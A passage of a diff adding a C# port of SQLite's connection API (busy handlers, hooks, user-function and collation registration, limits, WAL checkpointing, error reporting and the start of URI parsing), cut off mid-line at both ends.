1; +#endif + } + + /* + ** Invoke the given busy handler. + ** + ** This routine is called when an operation failed with a lock. + ** If this routine returns non-zero, the lock is retried. If it + ** returns 0, the operation aborts with an SQLITE_BUSY error. + */ + static int sqlite3InvokeBusyHandler( BusyHandler p ) + { + int rc; + if ( NEVER( p == null ) || p.xFunc == null || p.nBusy < 0 ) + return 0; + rc = p.xFunc( p.pArg, p.nBusy ); + if ( rc == 0 ) + { + p.nBusy = -1; + } + else + { + p.nBusy++; + } + return rc; + } + + /* + ** This routine sets the busy callback for an Sqlite database to the + ** given callback function with the given argument. + */ + static int sqlite3_busy_handler( + sqlite3 db, + dxBusy xBusy, + object pArg + ) + { + sqlite3_mutex_enter( db.mutex ); + db.busyHandler.xFunc = xBusy; + db.busyHandler.pArg = pArg; + db.busyHandler.nBusy = 0; + sqlite3_mutex_leave( db.mutex ); + return SQLITE_OK; + } + +#if !SQLITE_OMIT_PROGRESS_CALLBACK + /* +** This routine sets the progress callback for an Sqlite database to the +** given callback function with the given argument. The progress callback will +** be invoked every nOps opcodes. +*/ + static void sqlite3_progress_handler( + sqlite3 db, + int nOps, + dxProgress xProgress, //int (xProgress)(void), + object pArg + ) + { + sqlite3_mutex_enter( db.mutex ); + if ( nOps > 0 ) + { + db.xProgress = xProgress; + db.nProgressOps = nOps; + db.pProgressArg = pArg; + } + else + { + db.xProgress = null; + db.nProgressOps = 0; + db.pProgressArg = null; + } + sqlite3_mutex_leave( db.mutex ); + } +#endif + + + /* +** This routine installs a default busy handler that waits for the +** specified number of milliseconds before returning 0. +*/ + static public int sqlite3_busy_timeout( sqlite3 db, int ms ) + { + if ( ms > 0 ) + { + db.busyTimeout = ms; + sqlite3_busy_handler( db, sqliteDefaultBusyCallback, db ); + } + else + { + sqlite3_busy_handler( db, null, null ); + } + return SQLITE_OK; + } + + /* + ** Cause any pending operation to stop at its earliest opportunity. + */ + static void sqlite3_interrupt( sqlite3 db ) + { + db.u1.isInterrupted = true; + } + + + /* + ** This function is exactly the same as sqlite3_create_function(), except + ** that it is designed to be called by internal code. The difference is + ** that if a malloc() fails in sqlite3_create_function(), an error code + ** is returned and the mallocFailed flag cleared. + */ + static int sqlite3CreateFunc( + sqlite3 db, + string zFunctionName, + int nArg, + u8 enc, + object pUserData, + dxFunc xFunc, //)(sqlite3_context*,int,sqlite3_value *), + dxStep xStep,//)(sqlite3_context*,int,sqlite3_value *), + dxFinal xFinal, //)(sqlite3_context), + FuncDestructor pDestructor + ) + { + FuncDef p; + int nName; + + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + if ( zFunctionName == null || + ( xFunc != null && ( xFinal != null || xStep != null ) ) || + ( xFunc == null && ( xFinal != null && xStep == null ) ) || + ( xFunc == null && ( xFinal == null && xStep != null ) ) || + ( nArg < -1 || nArg > SQLITE_MAX_FUNCTION_ARG ) || + ( 255 < ( nName = sqlite3Strlen30( zFunctionName ) ) ) ) + { + return SQLITE_MISUSE_BKPT(); + } + +#if NO_SQLITE_OMIT_UTF16 //#if !SQLITE_OMIT_UTF16 +/* If SQLITE_UTF16 is specified as the encoding type, transform this +** to one of SQLITE_UTF16LE or SQLITE_UTF16BE using the +** SQLITE_UTF16NATIVE macro. SQLITE_UTF16 is not used internally. +** +** If SQLITE_ANY is specified, add three versions of the function +** to the hash table. +*/ +if( enc==SQLITE_UTF16 ){ +enc = SQLITE_UTF16NATIVE; +}else if( enc==SQLITE_ANY ){ +int rc; +rc = sqlite3CreateFunc(db, zFunctionName, nArg, SQLITE_UTF8, +pUserData, xFunc, xStep, xFinal, pDestructor); +if( rc==SQLITE_OK ){ +rc = sqlite3CreateFunc(db, zFunctionName, nArg, SQLITE_UTF16LE, +pUserData, xFunc, xStep, xFinal, pDestructor); +} +if( rc!=SQLITE_OK ){ +return rc; +} +enc = SQLITE_UTF16BE; +} +#else + enc = SQLITE_UTF8; +#endif + + /* Check if an existing function is being overridden or deleted. If so, +** and there are active VMs, then return SQLITE_BUSY. If a function +** is being overridden/deleted but there are no active VMs, allow the +** operation to continue but invalidate all precompiled statements. +*/ + p = sqlite3FindFunction( db, zFunctionName, nName, nArg, enc, 0 ); + if ( p != null && p.iPrefEnc == enc && p.nArg == nArg ) + { + if ( db.activeVdbeCnt != 0 ) + { + sqlite3Error( db, SQLITE_BUSY, + "unable to delete/modify user-function due to active statements" ); + //Debug.Assert( 0 == db.mallocFailed ); + return SQLITE_BUSY; + } + else + { + sqlite3ExpirePreparedStatements( db ); + } + } + + p = sqlite3FindFunction( db, zFunctionName, nName, nArg, enc, 1 ); + Debug.Assert( p != null /*|| db.mallocFailed != 0 */ ); + //if ( p == null ) + //{ + // return SQLITE_NOMEM; + //} + + /* If an older version of the function with a configured destructor is + ** being replaced invoke the destructor function here. */ + functionDestroy( db, p ); + + if ( pDestructor != null ) + { + pDestructor.nRef++; + } + p.pDestructor = pDestructor; + p.flags = 0; + p.xFunc = xFunc; + p.xStep = xStep; + p.xFinalize = xFinal; + p.pUserData = pUserData; + p.nArg = (i16)nArg; + return SQLITE_OK; + } + + /* + ** Create new user functions. + */ + static public int sqlite3_create_function( + sqlite3 db, + string zFunc, + int nArg, + u8 enc, + object p, + dxFunc xFunc, //)(sqlite3_context*,int,sqlite3_value *), + dxStep xStep,//)(sqlite3_context*,int,sqlite3_value *), + dxFinal xFinal//)(sqlite3_context) + ) + { + return sqlite3_create_function_v2( db, zFunc, nArg, enc, p, xFunc, xStep, + xFinal, null ); + } + + static int sqlite3_create_function_v2( + sqlite3 db, + string zFunc, + int nArg, + int enc, + object p, + dxFunc xFunc, //)(sqlite3_context*,int,sqlite3_value *), + dxStep xStep,//)(sqlite3_context*,int,sqlite3_value *), + dxFinal xFinal,//)(sqlite3_context) + dxFDestroy xDestroy//)(void ) + ) + { + int rc = SQLITE_ERROR; + FuncDestructor pArg = null; + sqlite3_mutex_enter( db.mutex ); + if ( xDestroy != null ) + { + pArg = new FuncDestructor();//(FuncDestructor )sqlite3DbMallocZero(db, sizeof(FuncDestructor)); + //if( null==pArg ){ + // xDestroy(p); + // goto out; + //} + pArg.xDestroy = xDestroy; + pArg.pUserData = p; + } + rc = sqlite3CreateFunc( db, zFunc, nArg, (byte)enc, p, xFunc, xStep, xFinal, pArg ); + if ( pArg != null && pArg.nRef == 0 ) + { + Debug.Assert( rc != SQLITE_OK ); + //xDestroy(p); + sqlite3DbFree( db, ref pArg ); + } + //_out: + rc = sqlite3ApiExit( db, rc ); + sqlite3_mutex_leave( db.mutex ); + return rc; + } + +#if NO_SQLITE_OMIT_UTF16 //#if !SQLITE_OMIT_UTF16 +static int sqlite3_create_function16( +sqlite3 db, +string zFunctionName, +int nArg, +int eTextRep, +object p, +dxFunc xFunc, //)(sqlite3_context*,int,sqlite3_value*), +dxStep xStep, //)(sqlite3_context*,int,sqlite3_value*), +dxFinal xFinal //)(sqlite3_context) +){ +int rc; +string zFunc8; +sqlite3_mutex_enter(db.mutex); +Debug.Assert( 0==db.mallocFailed ); +zFunc8 = sqlite3Utf16to8(db, zFunctionName, -1, SQLITE_UTF16NATIVE); +rc = sqlite3CreateFunc(db, zFunc8, nArg, eTextRep, p, xFunc, xStep, xFinal, null); +sqlite3DbFree(db,ref zFunc8); +rc = sqlite3ApiExit(db, rc); +sqlite3_mutex_leave(db.mutex); +return rc; +} +#endif + + + /* +** Declare that a function has been overloaded by a virtual table. +** +** If the function already exists as a regular global function, then +** this routine is a no-op. If the function does not exist, then create +** a new one that always throws a run-time error. +** +** When virtual tables intend to provide an overloaded function, they +** should call this routine to make sure the global function exists. +** A global function must exist in order for name resolution to work +** properly. +*/ + static int sqlite3_overload_function( + sqlite3 db, + string zName, + int nArg + ) + { + int nName = sqlite3Strlen30( zName ); + int rc; + sqlite3_mutex_enter( db.mutex ); + if ( sqlite3FindFunction( db, zName, nName, nArg, SQLITE_UTF8, 0 ) == null ) + { + sqlite3CreateFunc( db, zName, nArg, SQLITE_UTF8, + 0, (dxFunc)sqlite3InvalidFunction, null, null, null ); + } + rc = sqlite3ApiExit( db, SQLITE_OK ); + sqlite3_mutex_leave( db.mutex ); + return rc; + } + +#if !SQLITE_OMIT_TRACE + /* +** Register a trace function. The pArg from the previously registered trace +** is returned. +** +** A NULL trace function means that no tracing is executes. A non-NULL +** trace is a pointer to a function that is invoked at the start of each +** SQL statement. +*/ + static object sqlite3_trace( sqlite3 db, dxTrace xTrace, object pArg ) + {// (*xTrace)(void*,const char), object pArg){ + object pOld; + sqlite3_mutex_enter( db.mutex ); + pOld = db.pTraceArg; + db.xTrace = xTrace; + db.pTraceArg = pArg; + sqlite3_mutex_leave( db.mutex ); + return pOld; + } + /* + ** Register a profile function. The pArg from the previously registered + ** profile function is returned. + ** + ** A NULL profile function means that no profiling is executes. A non-NULL + ** profile is a pointer to a function that is invoked at the conclusion of + ** each SQL statement that is run. + */ + static object sqlite3_profile( + sqlite3 db, + dxProfile xProfile,//void (*xProfile)(void*,const char*,sqlite_u3264), + object pArg + ) + { + object pOld; + sqlite3_mutex_enter( db.mutex ); + pOld = db.pProfileArg; + db.xProfile = xProfile; + db.pProfileArg = pArg; + sqlite3_mutex_leave( db.mutex ); + return pOld; + } +#endif // * SQLITE_OMIT_TRACE */ + + /*** EXPERIMENTAL *** +** +** Register a function to be invoked when a transaction comments. +** If the invoked function returns non-zero, then the commit becomes a +** rollback. +*/ + static object sqlite3_commit_hook( + sqlite3 db, /* Attach the hook to this database */ + dxCommitCallback xCallback, //int (*xCallback)(void), /* Function to invoke on each commit */ + object pArg /* Argument to the function */ + ) + { + object pOld; + sqlite3_mutex_enter( db.mutex ); + pOld = db.pCommitArg; + db.xCommitCallback = xCallback; + db.pCommitArg = pArg; + sqlite3_mutex_leave( db.mutex ); + return pOld; + } + + /* + ** Register a callback to be invoked each time a row is updated, + ** inserted or deleted using this database connection. + */ + static object sqlite3_update_hook( + sqlite3 db, /* Attach the hook to this database */ + dxUpdateCallback xCallback, //void (*xCallback)(void*,int,char const *,char const *,sqlite_int64), + object pArg /* Argument to the function */ + ) + { + object pRet; + sqlite3_mutex_enter( db.mutex ); + pRet = db.pUpdateArg; + db.xUpdateCallback = xCallback; + db.pUpdateArg = pArg; + sqlite3_mutex_leave( db.mutex ); + return pRet; + } + + /* + ** Register a callback to be invoked each time a transaction is rolled + ** back by this database connection. + */ + static object sqlite3_rollback_hook( + sqlite3 db, /* Attach the hook to this database */ + dxRollbackCallback xCallback, //void (*xCallback)(void), /* Callback function */ + object pArg /* Argument to the function */ + ) + { + object pRet; + sqlite3_mutex_enter( db.mutex ); + pRet = db.pRollbackArg; + db.xRollbackCallback = xCallback; + db.pRollbackArg = pArg; + sqlite3_mutex_leave( db.mutex ); + return pRet; + } + +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +/* +** The sqlite3_wal_hook() callback registered by sqlite3_wal_autocheckpoint(). +** Invoke sqlite3_wal_checkpoint if the number of frames in the log file +** is greater than sqlite3.pWalArg cast to an integer (the value configured by +** wal_autocheckpoint()). +*/ +int sqlite3WalDefaultHook( +void *pClientData, /* Argument */ +sqlite3 db, /* Connection */ +const string zDb, /* Database */ +int nFrame /* Size of WAL */ +){ +if( nFrame>=SQLITE_PTR_TO_INT(pClientData) ){ +sqlite3BeginBenignMalloc(); +sqlite3_wal_checkpoint(db, zDb); +sqlite3EndBenignMalloc(); +} +return SQLITE_OK; +} +#endif //* SQLITE_OMIT_WAL */ + + /* +** Configure an sqlite3_wal_hook() callback to automatically checkpoint +** a database after committing a transaction if there are nFrame or +** more frames in the log file. Passing zero or a negative value as the +** nFrame parameter disables automatic checkpoints entirely. +** +** The callback registered by this function replaces any existing callback +** registered using sqlite3_wal_hook(). Likewise, registering a callback +** using sqlite3_wal_hook() disables the automatic checkpoint mechanism +** configured by this function. +*/ + static int sqlite3_wal_autocheckpoint( sqlite3 db, int nFrame ) + { +#if !NOT_SQLITE_OMIT_WAL //#if SQLITE_OMIT_WAL + UNUSED_PARAMETER( db ); + UNUSED_PARAMETER( nFrame ); +#else +if( nFrame>0 ){ +sqlite3_wal_hook(db, sqlite3WalDefaultHook, SQLITE_INT_TO_PTR(nFrame)); +}else{ +sqlite3_wal_hook(db, 0, 0); +} +#endif + return SQLITE_OK; + } + + /* + ** Register a callback to be invoked each time a transaction is written + ** into the write-ahead-log by this database connection. + */ + static object sqlite3_wal_hook( + sqlite3 db, /* Attach the hook to this db handle */ + dxWalCallback xCallback, //int(*xCallback)(void *, sqlite3*, const char*, int), + object pArg /* First argument passed to xCallback() */ + ) + { +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +void *pRet; +sqlite3_mutex_enter(db.mutex); +pRet = db.pWalArg; +db.xWalCallback = xCallback; +db.pWalArg = pArg; +sqlite3_mutex_leave(db.mutex); +return pRet; +#else + return null; +#endif + } + + + /* + ** Checkpoint database zDb. + */ + static int sqlite3_wal_checkpoint_v2( + sqlite3 db, /* Database handle */ + string zDb, /* Name of attached database (or NULL) */ + int eMode, /* SQLITE_CHECKPOINT_* value */ + out int pnLog, /* OUT: Size of WAL log in frames */ + out int pnCkpt /* OUT: Total number of frames checkpointed */ + ) + { +#if !NOT_SQLITE_OMIT_WAL //#if SQLITE_OMIT_WAL + pnLog = 0; + pnCkpt = 0; + return SQLITE_OK; +#else + int rc; /* Return code */ + int iDb = SQLITE_MAX_ATTACHED; /* sqlite3.aDb[] index of db to checkpoint */ + + /* Initialize the output variables to -1 in case an error occurs. */ + if( pnLog ) *pnLog = -1; + if( pnCkpt ) *pnCkpt = -1; + + Debug.Assert( SQLITE_CHECKPOINT_FULL>SQLITE_CHECKPOINT_PASSIVE ); + Debug.Assert( SQLITE_CHECKPOINT_FULLSQLITE_CHECKPOINT_RESTART ){ + return SQLITE_MISUSE; + } + + sqlite3_mutex_enter(db->mutex); + if( zDb && zDb[0] ){ + iDb = sqlite3FindDbName(db, zDb); + } + if( iDb<0 ){ + rc = SQLITE_ERROR; + sqlite3Error(db, SQLITE_ERROR, "unknown database: %s", zDb); + }else{ + rc = sqlite3Checkpoint(db, iDb, eMode, pnLog, pnCkpt); + sqlite3Error(db, rc, 0); + } + rc = sqlite3ApiExit(db, rc); + sqlite3_mutex_leave(db->mutex); + return rc; +#endif + } + + + /* + ** Checkpoint database zDb. If zDb is NULL, or if the buffer zDb points + ** to contains a zero-length string, all attached databases are + ** checkpointed. + */ + static int sqlite3_wal_checkpoint( sqlite3 db, string zDb ) + { + int dummy; + return sqlite3_wal_checkpoint_v2( db, zDb, SQLITE_CHECKPOINT_PASSIVE, out dummy, out dummy ); + } + +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +/* +** Run a checkpoint on database iDb. This is a no-op if database iDb is +** not currently open in WAL mode. +** +** If a transaction is open on the database being checkpointed, this +** function returns SQLITE_LOCKED and a checkpoint is not attempted. If +** an error occurs while running the checkpoint, an SQLite error code is +** returned (i.e. SQLITE_IOERR). Otherwise, SQLITE_OK. +** +** The mutex on database handle db should be held by the caller. The mutex +** associated with the specific b-tree being checkpointed is taken by +** this function while the checkpoint is running. +** +** If iDb is passed SQLITE_MAX_ATTACHED, then all attached databases are +** checkpointed. If an error is encountered it is returned immediately - +** no attempt is made to checkpoint any remaining databases. +** +** Parameter eMode is one of SQLITE_CHECKPOINT_PASSIVE, FULL or RESTART. +*/ +int sqlite3Checkpoint(sqlite3 db, int iDb, int eMode, int *pnLog, int *pnCkpt){ + int rc = SQLITE_OK; /* Return code */ + int i; /* Used to iterate through attached dbs */ + int bBusy = 0; /* True if SQLITE_BUSY has been encountered */ + + Debug.Assert( sqlite3_mutex_held(db->mutex) ); + Debug.Assert( !pnLog || *pnLog==-1 ); + Debug.Assert( !pnCkpt || *pnCkpt==-1 ); + + for(i=0; inDb && rc==SQLITE_OK; i++){ + if( i==iDb || iDb==SQLITE_MAX_ATTACHED ){ + rc = sqlite3BtreeCheckpoint(db->aDb[i].pBt, eMode, pnLog, pnCkpt); + pnLog = 0; + pnCkpt = 0; + if( rc==SQLITE_BUSY ){ + bBusy = 1; + rc = SQLITE_OK; + } + } + } + + return (rc==SQLITE_OK && bBusy) ? SQLITE_BUSY : rc; +} +#endif //* SQLITE_OMIT_WAL */ + + /* + /* + ** This function returns true if main-memory should be used instead of + ** a temporary file for transient pager files and statement journals. + ** The value returned depends on the value of db->temp_store (runtime + ** parameter) and the compile time value of SQLITE_TEMP_STORE. The + ** following table describes the relationship between these two values + ** and this functions return value. + ** + ** SQLITE_TEMP_STORE db->temp_store Location of temporary database + ** ----------------- -------------- ------------------------------ + ** 0 any file (return 0) + ** 1 1 file (return 0) + ** 1 2 memory (return 1) + ** 1 0 file (return 0) + ** 2 1 file (return 0) + ** 2 2 memory (return 1) + ** 2 0 memory (return 1) + ** 3 any memory (return 1) + */ + static bool sqlite3TempInMemory( sqlite3 db ) + { + //#if SQLITE_TEMP_STORE==1 + if ( SQLITE_TEMP_STORE == 1 ) + return ( db.temp_store == 2 ); + //#endif + //#if SQLITE_TEMP_STORE==2 + if ( SQLITE_TEMP_STORE == 2 ) + return ( db.temp_store != 1 ); + //#endif + //#if SQLITE_TEMP_STORE==3 + if ( SQLITE_TEMP_STORE == 3 ) + return true; + //#endif + //#if SQLITE_TEMP_STORE<1 || SQLITE_TEMP_STORE>3 + if ( SQLITE_TEMP_STORE < 1 || SQLITE_TEMP_STORE > 3 ) + return false; + //#endif + return false; + } + + /* + ** Return UTF-8 encoded English language explanation of the most recent + ** error. + */ + public static string sqlite3_errmsg( sqlite3 db ) + { + string z; + if ( db == null ) + { + return sqlite3ErrStr( SQLITE_NOMEM ); + } + if ( !sqlite3SafetyCheckSickOrOk( db ) ) + { + return sqlite3ErrStr( SQLITE_MISUSE_BKPT() ); + } + sqlite3_mutex_enter( db.mutex ); + //if ( db.mallocFailed != 0 ) + //{ + // z = sqlite3ErrStr( SQLITE_NOMEM ); + //} + //else + { + z = sqlite3_value_text( db.pErr ); + //Debug.Assert( 0 == db.mallocFailed ); + if ( String.IsNullOrEmpty( z ) ) + { + z = sqlite3ErrStr( db.errCode ); + } + } + sqlite3_mutex_leave( db.mutex ); + return z; + } + +#if NO_SQLITE_OMIT_UTF16 //#if !SQLITE_OMIT_UTF16 +/* +** Return UTF-16 encoded English language explanation of the most recent +** error. +*/ +const void *sqlite3_errmsg16(sqlite3 db){ +static const u16 outOfMem[] = { +'o', 'u', 't', ' ', 'o', 'f', ' ', 'm', 'e', 'm', 'o', 'r', 'y', 0 +}; +static const u16 misuse[] = { +'l', 'i', 'b', 'r', 'a', 'r', 'y', ' ', +'r', 'o', 'u', 't', 'i', 'n', 'e', ' ', +'c', 'a', 'l', 'l', 'e', 'd', ' ', +'o', 'u', 't', ' ', +'o', 'f', ' ', +'s', 'e', 'q', 'u', 'e', 'n', 'c', 'e', 0 +}; + +string z; +if( null==db ){ +return (void )outOfMem; +} +if( null==sqlite3SafetyCheckSickOrOk(db) ){ +return (void )misuse; +} +sqlite3_mutex_enter(db->mutex); +if( db->mallocFailed ){ +z = (void )outOfMem; +}else{ +z = sqlite3_value_text16(db->pErr); +if( z==0 ){ +sqlite3ValueSetStr(db->pErr, -1, sqlite3ErrStr(db->errCode), +SQLITE_UTF8, SQLITE_STATIC); +z = sqlite3_value_text16(db->pErr); +} +/* A malloc() may have failed within the call to sqlite3_value_text16() +** above. If this is the case, then the db->mallocFailed flag needs to +** be cleared before returning. Do this directly, instead of via +** sqlite3ApiExit(), to avoid setting the database handle error message. +*/ +db->mallocFailed = 0; +} +sqlite3_mutex_leave(db->mutex); +return z; +} +#endif // * SQLITE_OMIT_UTF16 */ + + /* +** Return the most recent error code generated by an SQLite routine. If NULL is +** passed to this function, we assume a malloc() failed during sqlite3_open(). +*/ + static public int sqlite3_errcode( sqlite3 db ) + { + if ( db != null && !sqlite3SafetyCheckSickOrOk( db ) ) + { + return SQLITE_MISUSE_BKPT(); + } + if ( null == db /*|| db.mallocFailed != 0 */ ) + { + return SQLITE_NOMEM; + } + return db.errCode & db.errMask; + } + static int sqlite3_extended_errcode( sqlite3 db ) + { + if ( db != null && !sqlite3SafetyCheckSickOrOk( db ) ) + { + return SQLITE_MISUSE_BKPT(); + } + if ( null == db /*|| db.mallocFailed != 0 */ ) + { + return SQLITE_NOMEM; + } + return db.errCode; + } + /* + ** Create a new collating function for database "db". The name is zName + ** and the encoding is enc. + */ + static int createCollation( + sqlite3 db, + string zName, + u8 enc, + u8 collType, + object pCtx, + dxCompare xCompare,//)(void*,int,const void*,int,const void), + dxDelCollSeq xDel//)(void) + ) + { + CollSeq pColl; + int enc2; + int nName = sqlite3Strlen30( zName ); + + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + + /* If SQLITE_UTF16 is specified as the encoding type, transform this + ** to one of SQLITE_UTF16LE or SQLITE_UTF16BE using the + ** SQLITE_UTF16NATIVE macro. SQLITE_UTF16 is not used internally. + */ + enc2 = enc; + testcase( enc2 == SQLITE_UTF16 ); + testcase( enc2 == SQLITE_UTF16_ALIGNED ); + if ( enc2 == SQLITE_UTF16 || enc2 == SQLITE_UTF16_ALIGNED ) + { + enc2 = SQLITE_UTF16NATIVE; + } + if ( enc2 < SQLITE_UTF8 || enc2 > SQLITE_UTF16BE ) + { + return SQLITE_MISUSE_BKPT(); + } + + /* Check if this call is removing or replacing an existing collation + ** sequence. If so, and there are active VMs, return busy. If there + ** are no active VMs, invalidate any pre-compiled statements. + */ + pColl = sqlite3FindCollSeq( db, (u8)enc2, zName, 0 ); + if ( pColl != null && pColl.xCmp != null ) + { + if ( db.activeVdbeCnt != 0 ) + { + sqlite3Error( db, SQLITE_BUSY, + "unable to delete/modify collation sequence due to active statements" ); + return SQLITE_BUSY; + } + sqlite3ExpirePreparedStatements( db ); + + /* If collation sequence pColl was created directly by a call to + ** sqlite3_create_collation, and not generated by synthCollSeq(), + ** then any copies made by synthCollSeq() need to be invalidated. + ** Also, collation destructor - CollSeq.xDel() - function may need + ** to be called. + */ + if ( ( pColl.enc & ~SQLITE_UTF16_ALIGNED ) == enc2 ) + { + CollSeq[] aColl = sqlite3HashFind( db.aCollSeq, zName, nName, (CollSeq[])null ); + int j; + for ( j = 0; j < 3; j++ ) + { + CollSeq p = aColl[j]; + if ( p.enc == pColl.enc ) + { + if ( p.xDel != null ) + { + p.xDel( ref p.pUser ); + } + p.xCmp = null; + } + } + } + } + + pColl = sqlite3FindCollSeq( db, (u8)enc2, zName, 1 ); + //if ( pColl == null ) + // return SQLITE_NOMEM; + pColl.xCmp = xCompare; + pColl.pUser = pCtx; + pColl.xDel = xDel; + pColl.enc = (u8)( enc2 | ( enc & SQLITE_UTF16_ALIGNED ) ); + pColl.type = collType; + sqlite3Error( db, SQLITE_OK, 0 ); + return SQLITE_OK; + } + + /* + ** This array defines hard upper bounds on limit values. The + ** initializer must be kept in sync with the SQLITE_LIMIT_* + ** #defines in sqlite3.h. + */ + static int[] aHardLimit = new int[] { +SQLITE_MAX_LENGTH, +SQLITE_MAX_SQL_LENGTH, +SQLITE_MAX_COLUMN, +SQLITE_MAX_EXPR_DEPTH, +SQLITE_MAX_COMPOUND_SELECT, +SQLITE_MAX_VDBE_OP, +SQLITE_MAX_FUNCTION_ARG, +SQLITE_MAX_ATTACHED, +SQLITE_MAX_LIKE_PATTERN_LENGTH, +SQLITE_MAX_VARIABLE_NUMBER, +SQLITE_MAX_TRIGGER_DEPTH, +}; + + /* + ** Make sure the hard limits are set to reasonable values + */ + //#if SQLITE_MAX_LENGTH<100 + //# error SQLITE_MAX_LENGTH must be at least 100 + //#endif + //#if SQLITE_MAX_SQL_LENGTH<100 + //# error SQLITE_MAX_SQL_LENGTH must be at least 100 + //#endif + //#if SQLITE_MAX_SQL_LENGTH>SQLITE_MAX_LENGTH + //# error SQLITE_MAX_SQL_LENGTH must not be greater than SQLITE_MAX_LENGTH + //#endif + //#if SQLITE_MAX_COMPOUND_SELECT<2 + //# error SQLITE_MAX_COMPOUND_SELECT must be at least 2 + //#endif + //#if SQLITE_MAX_VDBE_OP<40 + //# error SQLITE_MAX_VDBE_OP must be at least 40 + //#endif + //#if SQLITE_MAX_FUNCTION_ARG<0 || SQLITE_MAX_FUNCTION_ARG>1000 + //# error SQLITE_MAX_FUNCTION_ARG must be between 0 and 1000 + //#endif + //#if SQLITE_MAX_ATTACHED<0 || SQLITE_MAX_ATTACHED>62 + //# error SQLITE_MAX_ATTACHED must be between 0 and 62 + //#endif + //#if SQLITE_MAX_LIKE_PATTERN_LENGTH<1 + //# error SQLITE_MAX_LIKE_PATTERN_LENGTH must be at least 1 + //#endif + //#if SQLITE_MAX_COLUMN>32767 + //# error SQLITE_MAX_COLUMN must not exceed 32767 + //#endif + //#if SQLITE_MAX_TRIGGER_DEPTH<1 + //# error SQLITE_MAX_TRIGGER_DEPTH must be at least 1 + //#endif + + /* + ** Change the value of a limit. Report the old value. + ** If an invalid limit index is supplied, report -1. + ** Make no changes but still report the old value if the + ** new limit is negative. + ** + ** A new lower limit does not shrink existing constructs. + ** It merely prevents new constructs that exceed the limit + ** from forming. + */ + static int sqlite3_limit( sqlite3 db, int limitId, int newLimit ) + { + int oldLimit; + + + /* EVIDENCE-OF: R-30189-54097 For each limit category SQLITE_LIMIT_NAME + ** there is a hard upper bound set at compile-time by a C preprocessor + ** macro called SQLITE_MAX_NAME. (The "_LIMIT_" in the name is changed to + ** "_MAX_".) + */ + Debug.Assert( aHardLimit[SQLITE_LIMIT_LENGTH] == SQLITE_MAX_LENGTH ); + Debug.Assert( aHardLimit[SQLITE_LIMIT_SQL_LENGTH] == SQLITE_MAX_SQL_LENGTH ); + Debug.Assert( aHardLimit[SQLITE_LIMIT_COLUMN] == SQLITE_MAX_COLUMN ); + Debug.Assert( aHardLimit[SQLITE_LIMIT_EXPR_DEPTH] == SQLITE_MAX_EXPR_DEPTH ); + Debug.Assert( aHardLimit[SQLITE_LIMIT_COMPOUND_SELECT] == SQLITE_MAX_COMPOUND_SELECT ); + Debug.Assert( aHardLimit[SQLITE_LIMIT_VDBE_OP] == SQLITE_MAX_VDBE_OP ); + Debug.Assert( aHardLimit[SQLITE_LIMIT_FUNCTION_ARG] == SQLITE_MAX_FUNCTION_ARG ); + Debug.Assert( aHardLimit[SQLITE_LIMIT_ATTACHED] == SQLITE_MAX_ATTACHED ); + Debug.Assert( aHardLimit[SQLITE_LIMIT_LIKE_PATTERN_LENGTH] == + SQLITE_MAX_LIKE_PATTERN_LENGTH ); + Debug.Assert( aHardLimit[SQLITE_LIMIT_VARIABLE_NUMBER] == SQLITE_MAX_VARIABLE_NUMBER ); + Debug.Assert( aHardLimit[SQLITE_LIMIT_TRIGGER_DEPTH] == SQLITE_MAX_TRIGGER_DEPTH ); + Debug.Assert( SQLITE_LIMIT_TRIGGER_DEPTH == ( SQLITE_N_LIMIT - 1 ) ); + + + if ( limitId < 0 || limitId >= SQLITE_N_LIMIT ) + { + return -1; + } + oldLimit = db.aLimit[limitId]; + if ( newLimit >= 0 ) /* IMP: R-52476-28732 */ + { + if ( newLimit > aHardLimit[limitId] ) + { + newLimit = aHardLimit[limitId]; /* IMP: R-51463-25634 */ + } + db.aLimit[limitId] = newLimit; + } + return oldLimit; /* IMP: R-53341-35419 */ + } + + class OpenMode { + public string z; + public int mode; + + public OpenMode(string z, int mode) + { + this.z=z; + this.mode=mode; + } + } + /* +** This function is used to parse both URIs and non-URI filenames passed by the +** user to API functions sqlite3_open() or sqlite3_open_v2(), and for database +** URIs specified as part of ATTACH statements. +** +** The first argument to this function is the name of the VFS to use (or +** a NULL to signify the default VFS) if the URI does not contain a "vfs=xxx" +** query parameter. The second argument contains the URI (or non-URI filename) +** itself. When this function is called the *pFlags variable should contain +** the default flags to open the database handle with. The value stored in +** *pFlags may be updated before returning if the URI filename contains +** "cache=xxx" or "mode=xxx" query parameters. +** +** If successful, SQLITE_OK is returned. In this case *ppVfs is set to point to +** the VFS that should be used to open the database file. *pzFile is set to +** point to a buffer containing the name of the file to open. It is the +** responsibility of the caller to eventually call sqlite3_free() to release +** this buffer. +** +** If an error occurs, then an SQLite error code is returned and *pzErrMsg +** may be set to point to a buffer containing an English language error +** message. It is the responsibility of the caller to eventually release +** this buffer by calling sqlite3_free(). +*/ +static int sqlite3ParseUri( + string zDefaultVfs, /* VFS to use if no "vfs=xxx" query option */ + string zUri, /* Nul-terminated URI to parse */ + ref int pFlags, /* IN/OUT: SQLITE_OPEN_XXX flags */ + ref sqlite3_vfs ppVfs, /* OUT: VFS to use */ + ref string pzFile, /* OUT: Filename component of URI */ + ref string pzErrMsg /* OUT: Error message (if rc!=SQLITE_OK) */ +){ + int rc = SQLITE_OK; + int flags = pFlags; + string zVfs = zDefaultVfs; + StringBuilder zFile = null; + char c; + int nUri = sqlite3Strlen30(zUri); + pzErrMsg = null; + ppVfs = null; + + if( ((flags & SQLITE_OPEN_URI) != 0 || sqlite3GlobalConfig.bOpenUri) + && nUri>=5 && memcmp(zUri, "file:", 5)==0 + ){ + string zOpt; + int eState; /* Parser state when parsing URI */ + int iIn; /* Input character index */ + //int iOut = 0; /* Output character index */ + int nByte = nUri+2; /* Bytes of space to allocate */ + + /* Make sure the SQLITE_OPEN_URI flag is set to indicate to the VFS xOpen + ** method that there may be extra parameters following the file-name. */ + flags |= SQLITE_OPEN_URI; + + for ( iIn = 0; iIn < nUri; iIn++ ) + nByte += ( zUri[iIn] == '&' ) ? 1 : 0; + //zFile = sqlite3_malloc(nByte); + //if( null==zFile ) return SQLITE_NOMEM; + zFile = new StringBuilder( nByte ); + + iIn = 5; + + // ported SQLITE_ALLOW_URI_AUTHORITY logic from SQLite Release 3.8.0.2 On 2013-09-03 + // -@harmj0y + if( 